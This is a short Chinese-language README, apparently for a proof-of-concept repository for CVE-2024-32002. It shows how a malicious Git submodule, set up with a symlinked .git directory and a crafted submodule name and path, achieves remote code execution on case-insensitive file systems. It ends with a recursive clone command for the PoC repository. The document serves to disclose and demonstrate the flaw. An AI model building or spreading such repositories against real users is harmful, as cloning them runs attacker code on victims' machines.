
CVE-2024-32002的概念验证利用,演示通过恶意Git子模块在不区分大小写的文件系统上实现远程代码执行。
一个用于CVE-2024-32002的POC,演示远程代码执行(RCE)。
相关子模块仓库见cve-2024-32002-poc-rce。
.git 目录。.gitmodules 文件。此仓库是在Linux(具体来说是WSL2)中创建的。这很重要,恶意仓库只能在区分大小写的文件系统上创建。
ln -s .git submodule
注意:
git submodule add --name rce/notexists https://github.com/JakobTheDev/cve-2024-32002-submodule-rce.git Submodule/modules/rce
注意:
.git 目录中跟踪子模块 git 状态的路径名称。此漏洞仅影响 Windows 和 MacOS,因为它们都有不区分大小写的文件系统。
git --version
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-rce.git